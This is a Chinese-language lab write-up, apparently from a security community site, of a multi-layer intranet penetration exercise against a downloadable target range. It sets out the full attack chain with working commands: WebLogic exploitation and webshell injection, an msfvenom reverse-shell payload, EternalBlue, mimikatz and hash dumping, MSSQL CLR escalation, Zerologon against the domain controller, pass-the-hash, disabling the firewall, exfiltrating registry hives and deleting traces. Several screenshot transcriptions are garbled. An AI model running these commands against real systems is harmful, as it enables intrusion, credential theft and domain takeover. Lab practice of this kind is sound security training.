MSF 多层内网渗透全过程 - 先 知社区

🖌 先知社区, 先知安全技术社区

本次多层网络域渗透项目旨在模拟渗透测试人员在授权的情况下 对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个 内网权限的过程.

靶场下载地址:

https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ 提取码: vbi2

靶场网络拓扑图为:



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002558-76d99340-0c36-1.png)

```
域控: Windows Server 2008 + IIS + Exchange 2013 邮件服务
目录还原密码: redteam!@#45
主机名: owa
域管理员: administrator:Admin12345!
```

域内服务器Mssql: Windows Server 2008 + SQL Server 2008 (被配 置了非约束委派) 主机名: sqlserver-2008 本地管理员:Administrator:Admin12345 域账户: redteam\sqlserver:Server12345 (被配置了约束委派) Mssql: sa:sa

域内个人PC: Windows 7 主机名: work-7 本地管理员:john: admin!@#45 域账户: redteam\saul:admin!@#45

```
单机服务器: Windows server r2 + weblogic
主机名: weblogic
本地管理员:Administrator:Admin12345
weblogic : weblogic: weblogic123 (访问 http://ip:7001)
weblogic 安装目录:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bas
e_domain (手动运行下 startWebLogic.cmd)
```

```
其他域用户:
域服务账户: redteam\sqlserver:Server12345 (被配置了约束委派)
邮件用户: redteam\mail:admin!@#45
加域账户: redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (被配置了非约束委派)
redteam\gu:Gu12345
redteam\apt404:Apt12345
```

开启 Windows Server 2012 R2 后,

在 C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain 目录下双击 startWebLogic.cmd 启动 weblogic .

甲机服务器

假定我们已经拿到了靶标 IP: 192.168.10.22. 利用 Nmap 对靶 标进行简易的扫描:

nmap.exe -p1-65535 -Pn -A -T4 192.168.10.22 .



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002606-7c1421d6-0c36-1.png)

根据扫描结果发现 7001 端口存在 Oracle WebLogic, 扫一梭子 看看有没有漏洞, 从扫描结果来看还是存在挺多漏洞的.

952350H3rmeskit C:\Tools\Tools for Sec\Weblogic\weblogicScapper-master 3.8.8 python \ws.py -t 192.10	8 10 22
[01:34:15][INFO] [-][CVE-2017-3506][192.168.10.22:7001] Not vulnerability.	
[01:34:15][INFO] [-][CVE-2017-10271][192.168.10.22:7001] Not vulnerability.	
[01:34:15][INFO] [-][Weblogic Console][192.168.10.22:7001] Not found.	
[01:34:15][INFO] [-][CVE-2014-4210][192.168.10.22:7001] Not found.	
[01:34:16][INFO] [+][CVE-2016-3510][192.168.10.22:7001] Exists vulnerability!	
[01:34:16][INFO] [-][CVE-2016-0638][192.168.10.22:7001] Not vulnerability.	
[01:34:16][INFO] [+][CVE-2017-3248][192.168.10.22:7001] Exists vulnerability!	
[01:34:17][INFO] [-][CVE-2018-2894][192.168.10.22:7001] Not found.	
[01:34:17][INFO] [-][CVE-2018-3252][192.168.10.22:7001] Not found.	
[01:34:18][INFO] [+][CVE-2018-2628][192.168.10.22:7001] Exists vulnerability!	
[01:34:19][INFO] [+][CVE-2019-2618][192.168.10.22:7001] Found module, Please verify manually!	
[01:34:19][INFO] [-][CVE-2019-2725][192.168.10.22:7001] Not vulnerability.	
[01:34:20][INFO] [+][CVE-2018-3191][192.168.10.22:7001] Exists vulnerability!	
[01:34:20][INFO] [+][CVE-2018-2893][192.168.10.22:7001] Exists vulnerability!	
[01:34:21][INFO] [+][CVE-2019-2888][192.168.10.22:7001] Found module, Please verify manually!	
[01:34:21][INFO] [!][CVE-2020-14882][192.168.10.22:7001] Connection error.	
[01:34:21][INFO] [-][CVE-2020-14882][192.168.10.22:7001] Not vulnerability.	
[01:34:22][INFO] [+][CVE-2019-2890][192.168.10.22:7001] Exists vulnerability!	
[01:34:22][INFO] [+][CVE-2020-2531][192.168.10.22:7001] Found module, Please verity manually:	
[01:34:22][INFO] [-][CVE-2018-3245][192.168.10.22:7001] Not VillePability.	
[01:34-22][IN+0] [-][CV=-2020-14883][192.168.10.22](001] Not Vulnerability.	
[01:34-23][INFO] [-][CVC-2019-2729][192:160.10.22.7001] Not Vulnerability.	
[01:34:20][10+0] [+][CVE-2020*2333][192:100.10:22:7001] Exists vulnerability/	
[A1:30]201[TANO] [-][CVE-2020-10750][102-168-10-22:7001] Not vulperability	
Pun completed 26 seconds total	
952350H3rmesk1 C:\Tools\Tools for Sec\Weblogic\weblogicScanner-master	1/1元知在区!
	/

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002615-8133048e-0c36-1.png)

直接上工具开打,发现是 administrator 的权限,直接注入内存 马,冰蝎上线.

URL http://192.168.10.22:7001/	
漏洞类型 CVE-2017-10271 V	
信息 命令执行 注入内存马 一號写入webshell JRMP编词利用 JNDI编词利用	
¢∻ whoami	
weblogic\administrator	▲ 执行

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002622-85b98bc2-0c36-1.png)

url http://192.168.10.22:7001/	
羅湖类型 CVE-2017-10271 ▼	
信息 命令执行 注入内存马 一键写入webshell JRMP漏洞利用 JNDI漏洞利用	
内存马类型 冰蝎 Servlet ▼	
[+] 注入冰竭内存马成功 冰竭servlet地址: http://192.168.10.22:7001/bea_wls_internal/checklogin 密码:pass1024	执行
Ref http://192.168.10.22:7001/bea_wls_internal/checklogin	– 🗆 ×
URL: http://192.168.10.22:7001/bea_wls_internal/checklogin	已连接
基本信息 命令执行 虚拟终端 文件管理 内网穿透 反弹shell 数据库管理 自定义代码 平行空间 扩展功能 备忘录 更新信息	

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002629-89d4796a-0c36-1.png)

域内个人 PC

当拿下 DMZ 区域的机器后,除了权限维持和权限提升,对于横向 渗透通常分一下两个方面:

- 判断机器是否为多网卡机器,然后扫描其他网段,来发现 更多存在漏洞的机器;
- 尽量收集机器上面的敏感信息,比如敏感内部文件、账号

密码本等,帮助后面快速突破防线.

由于我们拿下的机器已经是 administrator 权限, 直接进行信息 搜集即可, tasklist 查看进程发现不存在杀软.



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002641–907c8a00–0c36–1.png)

利用 msfvenom 生成一个 payload :

```
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 - ,上传到靶机后, MSF 上线.
```

ar La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald 1 base, dowald na an La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald na base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald na base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald na base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald na base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald na base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald na base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 dowald na base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 base, dowald na ar La Middle warr of Aracla, News Asker, yr ny Lett 1 base, dowald na ar La Middle warr of Aracla, Base, ar La Middle warr of Aracla, ar La Middle	a more series and a series of the series of
acle\Middleware\Oracle_Home\user_projects\domains\base_domainssi .exe 1.exe 1.exe ¹ ,不是內歸或外歸毫令,也不是可运行的程序 进发件。	payload ⇒ windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.10.9
	LNDST = 0:12(34:12,0ad1st) > set LDQT 7777 LDQT = v7777 set explicit(set1/hand1st) > run
acleVMtddleware\Uracle_Home\user_projects\domains\base_domainsd 器 C 中引台没有乐姿。 序列号是 0647-1040	[1] Starting Program 105 Annolity on 192,161 89 0-7777 [2] Sending steps (186778 Syste) to 327,161 88 20 [3] Heritgritty stassion 1 opened (192,166,10.9:7777 → 192,166,10.22:06252) at 2022-07-26 02:33:19 +6888
Tart to distribute and water in the same interface of the same i	secreteries = shill Dennis i ersten: Dennis i

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002648-94d617f6-0c36-1.png)

```
抓一下密码:
```

• 抓取自动登录的密码:

run windows/gather/credentials/windows_autologin .

• 导出密码哈希: hashdump .



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002756-bd3f791c-0c36-1.png)



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002802-c106188a-0c36-1.png)

拿到 Administrator 的密码 Admin12345,同时查询域信息: net view /domain,发现该机器并不在域内.



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002809-c54281ea-0c36-1.png) 查询网络信息发现是双网卡,利用 fscan 扫描一下网段:

fscan64.exe -h 10.10.20.0/24 > result.txt ,发现网段内存在新

的机器 10.10.20.7 , 445 端口是开放的, 疑似存在 MS17-010 漏 洞.



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002822-cd27cac8-0c36-1.png)



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002829-d161a7e4-0c36-1.png)



```
(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002836-d54a610c-0c36-1.png)
```

添加路由,扫描一下 MS17-010.

run get_local_subnets run autoroute -s 10.10.20.0/24 run autoroute -p

search ms17-010
use 3
set rhost 10.10.20.7
run



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002845-daa1e508-0c36-1.png)

<pre>0 exploit/w 1 exploit/w 2 auxiliary 3 auxiliary 4 exploit/w</pre>						
	//admin/smb/ns17_010_command	2017-03-14 2017-03-14 2017-03-14	normal normal		Exercise Exercises SPE Remote Windows Karnel Pool Corruption Exercise Exercises SPE Remote Windows Karnel Champion SPE Remote Windows Code Execution motion Exercises/exercise	
	/indows/smb/smb_doublepulsar_rce				maaaaaaa SHG KLE Vertection SHG DOUGLEPULSAk Remote Code Execution	
o autilary((contervanorano_mail_ore) / 300	alon.				
Mamo	Current Settine	Required Des				
CHECK DOPU		no Che	k for DOUBL		on vulnerable hosts	
CHECK_PIPE						
NAMED_PIPES	C:/metasploit-framework/embed ded/framework/data/wordlists/ named_pipes.txt		of named p	ipes to		
			target host ploit-frame	(s), sei vork/w1i	https://github.com/rapid7/m i/Using-Hetasoloit	
			SHB service			
SHEDomain		no The	Windows dom	ain to s	se for authentication	
			username to	authent	Cate as	
st => 10.10. 6 auxiliary(
						- 1

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002853-dfb9553a-0c36-1.png)

发现的确存在 MS17-010 ,利

用 exploit/windows/smb/ms17_010_eternalblue 进行攻击,成功拿 下该机器.

```
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
run
```



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002903-e5a142be-0c36-1.png)

先查看一下权限,发现直接就是 system 权限,也不需要进行提权的操作,用 mimikatz 抓一下密码,发现该主机在域环 境 redteam.red 内,并且拿到一组域账户的用户名和密码: saul:admin!@#45.

load mimikatz creds_all



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6002910-e9936794-0c36-1.png)

用其他的方式继续抓一下密码,成功拿到一组本地用户的用户名 及密码: john:admin!@#45.

hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin

meterpreter >	
meterpreter >	
<pre>meterpreter > run windows/gather/credentials/windows_autologin</pre>	
[*] Running against WORK-7 on session 3	
[*] The Host WORK-7 is not configured to have AutoLogon password	
meterpreter > hashdump	
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::	
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::	
john:1000:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::	
<pre>meterpreter > run windows/gather/smart_hashdump</pre>	
[*] Running module against WORK-7	
Hashes will be saved to the database if one is connected.	
[+] Hashes will be saved in loot in JtR password file format to:	
[*] C:/Users/95235/.msf4/loot/20220725004348_default_10.10.20.7_windows.hashes_357477.txt	
[*] Dumping password hashes	
[*] Running as SYSTEM extracting hashes from registry	
[*] Obtaining the boot key	
[*] Calculating the boot key using SYSKEY 6f92d265d06097e1615a7c355022bc9f	
[*] Obtaining the user list and keys	
[*] Decrypting user keys	
[*] Dumping password hints	
[+] john:"admin!@#45"	
[*] Dumping password hashes	
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::	
[+] john:1000:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::	
meterpreter >	一 元 知 在 区
	/ _ / 0/ 11

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003112-3227eb38-0c37-1.png)

域内服务器 Mssql

查看网段发现新网段,继续添加路由.



Subnet	Netmask	Gateway	
10.10.10.0	255.255.255.0		
10.10.20.0	255.255.255.0	Session 1	
meterpreter >			▶ 先知社区

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003118-35aaef76-0c37-1.png)

上传一个 fscan , 扫描一下网段, 发现存在一 台 Windows Server 2008 R2 机器: 10.10.10.18 , 开放了 1433 端 口, 并且获得一组弱口令: sa:sa .

C VUEndsus \ sustan 32 \	
C:\dirdout\ayntem22>facam64.exe -h 10.10.10.0/24 > result.txt	
fscant4.exe -h 10.10.10.0/24 > result.txt	
가장~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	
tscan version: 1.8.1	
C:\Windows\system32>type result.txt	
type result.txt	
Start Amostan (start Solid) Target Solid). 19.7 is alive	
(icmp) Target 10.10.10 is alive	
[*] Icop allve basis ien is: 2 In Ha 2015 2015 Anno	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
10.10.10.10.10.00 pptn Dean provide but appendixed appendixed by the process of the star provide the process of the proces of	
10.10.10.11:143 open	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
18.18.7:445 open	
open resultate erver, open resultate i ne process cannot access the vice decaise it is being used by another process. 10.10.1.01.18130 open	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
Dean resultivity open Coen resultivit error, open resultivit: The process cannot access the file because it is being used by another process.	
10.10.10.7:135 open	
Open result.txt error, open result.txt: The process cannot access the #lie because it is being used by another process. [7] alive notes in is: 8	
start vulscan	
[4] HetInfo: f 11a 4a 4a 7	
[->]verk-7	
[->] 10:10:20:7	
L-710-00-00.7 Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
[+] 10.10.10.7 HS17-010 (Windows 7 Ultimate 7601 Service Pack 1)	
(pen result.txt error, open result.txt: The process cannot access the tile because it is being used by another process. (Fi) NetInfo:	
(*)10.10.10	
[-)]sqlserver-2006 [-3]b.08_16_8	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
[*] 10.10.10.18 REDTAMSQUSENVER-2008 kindows Server 2008 R2 Datacenter 7601 Service Pack 1 Dean paule byt approx one pault byt. The process cannot are the file because it is being used by mother process.	
(*) 10.10.10.7 DB_PCERDAGE_BUDDE-7 Mindows 7 Ultimate 7001 Service Pack 1	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process. [3] 10 10 11 7.	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
[*] weblitle:http://10.10.10.18 code:200 len:600 title:1157	
(open resultation open resultation) in process cannot access the vice decaise it is being used by another process. (a) and a set of the set of	
Open result.txt error, open result.txt: The process cannot access the file because it is being used by another process.	
(*) 前推結束,利計: 20.6065460s	
ć:\kindows\systemi2>	

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003127-3b519826-0c37-1.png)

MSF 配合 Proxifier 开启 socks 代理隧道,利 用 SharpSQLTools 执行命令,发现是 10.10.10.18 机器是一个低 权限的账号 network service .

Proviner			×
File Profile Log View	/ Help 💂 🗊 🌮 🔛 📸		
onnections	🗴 PowerShell X + - 🗆 🗖	×	ą
searchapp.exe	PowerShell 7.2.0-preview.9 Copyright (c) Microsoft Corporation.	6.20 KB	
searchapp.exe	https://aka.ms/pomershell Type 'help' to get help.	6.07 KB	
 filecoauth.exe pwsh.exe chrome.exe 	A new Powershell preview release is available: v7.3.0-preview.6 Upgrade now, or check out the release page at: https://da.us/Powershell-ReleaseFragev7.3.0-preview.6	1.90 KB 1.54 KB 5.72 KE	
🕤 chrome.exe	(592759457445745414) >> \\Sharp5QLTools.exe 10.10.10.18 sa sa master xp_cndshell whoani [*] Database connection is successful!	1.77 KB	
	nt authority\network service		
: Connections	952350H3rmeskit\Downloads\SharpSQLTools		 -
07.25 02:25:21] chrome.exe -			 _
07.25 02:25:21] chrome.exe -			
07.25 02:25:21) chrome.exe -			
07.25 02.25:23] sharpsqitools			
07 25 02 25 24 iava ava - 19			
07.25 02:25:27] sharosoltools			
07.25 02:25:33] pwsh.exe - do			
07.25 02:25:34) pwsh.exe - da			
07.25 02:25:34] chrome.exe -			

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003135_4009fdd6_0c37_1 ppg) 参考 MSSQL 利用 CLR 技术执行系统命令 (https://cloud.tencent.com/developer/article/1736431)中的 方法,进行 clr 提权,成功提权到 system 权限.

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003143-44d63320-0c37-1.png)

利用 exploit/windows/mssql/mssql_clr_payload 模块,先用低权限 账号上线,接着上传木马,利用 SharpSQLTools 运行得到高权限.



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003150-4921f9fa-0c37-1.png)

接着使用 mimikatz 抓取一下凭证,得到两个用户的用户名和密

.

· · · · · - · - · -

 $T \overline{D}$



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003158-4d80ec68-0c37-1.png)

域控

由于不存在新的网段了, 在前面 fscan 的扫描结果中还存在一个 10.10.10.8 的地址, 不出意外该地址的机器就是域控了, 下面 看看该如何拿下该台机子.



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003205-520e0b08-0c37-1.png)

先确定一下该台机器是否是域控制器,常见的方法有:

- 扫描内网中同时开放 389 和 53 端口的机器.
- 查看域控制器组:

```
net group "domain controllers" /domain .
```



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003213-56672bc6-0c37-1.png)

• 查看域控的机器名:

nslookup redteam.red; nslookup -type=SRV _ldap._tcp .



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003222-5bc79a24-0c37-1.png)

• 查看域控当前时间: net time /domain .



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003231-615661e6-0c37-1.png)

确定该台机器是域控制器后,根据其版本信息尝试用 Netlogon 特权提升漏洞 CVE-2020-1472 进行攻击,详细内容见 内网渗透 – 账 号提权

(https://www.freebuf.com/articles/system/288515.html).

在验证存在 Netlogon 特权提升漏洞后,先重置一下域账号,置空 密码: python cve-2020-1472-exploit.py OWA 10.10.10.8 .



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003239-660eddb2-0c37-1.png)

接着读取域控中的 hash :

python secretsdump.py redteam.red/OWA\$@10.10.10.8 -just-dc -no-pass



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003247-6b35cb70-0c37-1.png)

获取到的 hash 后利用 impacket 中的 wmiexec.py 脚本进行登录,成功拿到 shell:

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff5



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003256-703906c8-0c37-1.png)

此时,成功获取到了域控的 shell . 但是这个 shell 并不是稳定 的,真实环境中我们还需要进一步进行权限维持的操作,在得 到 hash 之后,先利用前面获取到的 shell 关闭一下防火墙: netsh advfirewall set allprofiles state off,接着便可以使 用 PSEXEC 模块上线 MSF 并进行后续的操作了.

```
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass
aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51
298880e
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.8
set lport 4446
run
```

11PORT	445	911	The SHS service port (TCP)
SERVICE_DEDCRIPTION			Service description to to be used on target for prot
			ty listing
SERVICE_DISPLAY_NAME			The service display name
SINDICE_NINE.			The Service frame
SHIDOMAIN SHIDOMAIN			The window momain to use the succession
SHIPATE	44010435051404064403843505140 4441078520314013412222024461		In partopa for the specified uterside
	910203-		
SMRLHARE			The share to connect to, can be so odnin share (600)
			Michael a normal rendomite folder share
SHREEP	administrator		The username to authenticate as
leas aptions (vincous	/stabilitergreter/sins_tep/		
Name Ourrent Set	ting Required Description		
TRITING should			
LOOPT 4440	yes Entreteninger		u. , sea, tareas, process, namez
2005T (8 (8 (8 5	an The target add		
loit target:			
Ed Hare			
8 Hatonatic			
· · · · · · · · · · · · · · · · · · ·			
a explore (enorement			
18-18-18-8:445 - Cen	notice to the arrent		
18.18.18.8:445 - Bet	beaticating to 18,18,18,8:445	as user "a	administrator'
18.10.18.8:445 - Sel	ecting PowerShell target		
18.18.18.18.8:445 - Too	cuting the payload		
18.18.18.8:445 - Ser	vice start timed out, ON if ye	naing a co	ommand or non-zervice executable
Started bind TCF han	dler sysiant 18.10.18.8:4046		
Sending stage C20022	4 bytes) to 18.18.18.8		
Motorproter session	4 opened <18.18.18.7:49231 →	18.18.18.	8:4446 via sension 2) at 2802-87-25 23:16:27 +8888
ergreter / snell			
ceus ana creater.			
manufa Mandaum 1100 c	1.79.00.7		
7377 (c) 2005 Microro	Ft Correctation77373737377777777		
Windows \custem32)cheg	65881		
p 65881			
live cade page: 65881			
Manufacture is a section of Third of the			

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003303-7470f8ae-0c37-1.png)

需要注意的是,在做完权限维持后要及时恢复域控的密码,不然域 控会脱域.

我们先导出 SAM 中原来的 hash,利用 MSF 的 shell 下载下来 并及时删除,清理痕迹.

```
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
```

```
download C:\\sam.save C:\\Users\\95235\\Desktop\\sam.save
download C:\\security.save
C:\\Users\\95235\\Desktop\\security.save
download C:\\system.save
C:\\Users\\95235\\Desktop\\system.save
```

del /f sam.save
del /f system.save
del /f security.save

	C:\>netsh ao 确定。	dvfirewa	all set allprofi	les state off							
	C:\>reg save HKLM\SYSTEM system.save 操作成功完成。										
	景作成功完成。 C:\>reg save HKLM\SECURITY security.save										
	驱动器 C 中 卷的序列号:	■的卷没 是 2085-	有标签。 -B7D3								
	C:∖的目录										
L	2021/11/04	16:47	<dir></dir>	ExchangeSetup	Loas						
L	2021/11/04	14:19	<dir></dir>	inetpub	2						
L	2009/07/14	11:20	<dir></dir>	PerfLogs							
L	2021/11/04	17:00	<dir></dir>	Program Files							
L	2021/11/04	17:00	<dir></dir>	Program Files	(x86)						
L	2022/07/25	23:17	28,67	2 sam.save							
L	2022/07/25	23:17	40,96	<pre>security.save</pre>							
L	2022/07/25	23:17	11,726,848	3 system.save							
L	2021/11/04	13:52	<dir></dir>	Users							
	2022/07/25	23:17	<dir></dir>	Windows			4				
		3 个	文件 11,796	480 字节			▶ 生知社区				
L		7 个目录 26,804,625,408 可用字节									

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003312-7a1ec6be-0c37-1.png)



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003322-7fa43b1e-0c37-1.png)



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003329-83fb3a0a-0c37-1.png)





(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003336-87ee181c-0c37-1.png)

利用脚本 reinstall_original_pw.py 恢复 hash :

python reinstall_original_pw.py OWA 10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003343-8c146356-0c37-1.png)

最后利用空密码再次进行连接来验证是否恢复成功:

python secretsdump.py redteam.red/OWA\$@10.10.10.8 -just-dc -no-pass



(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003349-8fd66dcc-0c37-1.png)





(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003356-93cbc8c8-0c37-1.png)

由于打讨几次线下的 CFS 靶场. 使用 CS 感觉不佳. 本次打靶讨

程中就只使用了 MSF, 正好锻炼一下自己对于 MSF 各功能的使用, 打靶过程中的收获还是挺大的. 靶机附件里面也给出了一个靶场存在漏洞的说明, 感兴趣的师傅们也可以根据漏洞说明尝试一下其他的打法.

110	CDD: admin.admin.0###5	
40		
41	存在 GPP 确问	
42	存在 MS14-068	
43	存在 CVE-2020-1472	
44	Exchange 各种漏洞都可尝试	
45	可尝试非约束委派	
46	可尝试约束委派	
47	存在 CVE-2019-1388	
48	存在 CVE-2019-0708	
49	还有很多漏洞都可尝试	🖊 先知社区

(https://xzfile.aliyuncs.com/media/upload/picture/2022072 6003403-9825ea52-0c37-1.png)

对于靶机要说明的就是网盘里面分享的是一个完整的压缩包然后 从中间直接拆分出来的两个数据块,使用的时候合并起来就行.另 一个 sqlserver-2008 那台机器的 Sql Server 2008 好像过期了, 我是用命令行直接开启的: net start mssqlserver .

- 浅谈内网渗透代理 (https://xz.aliyun.com/t/8001#toc 3)
- 内网渗透 账号提权 (https://www.freebuf.com/articles/system/288515.h tml)
- 从外网 Weblogic 打进内网, 再到约束委派接管域控 (https://mp.weixin.qq.com/s?

__biz=MzkxNDEwMDA4Mw==&mid=2247488950&idx =1&sn=48d93f1fac38eae99cc4e78474eb557c&scene =21#wechat_redirect)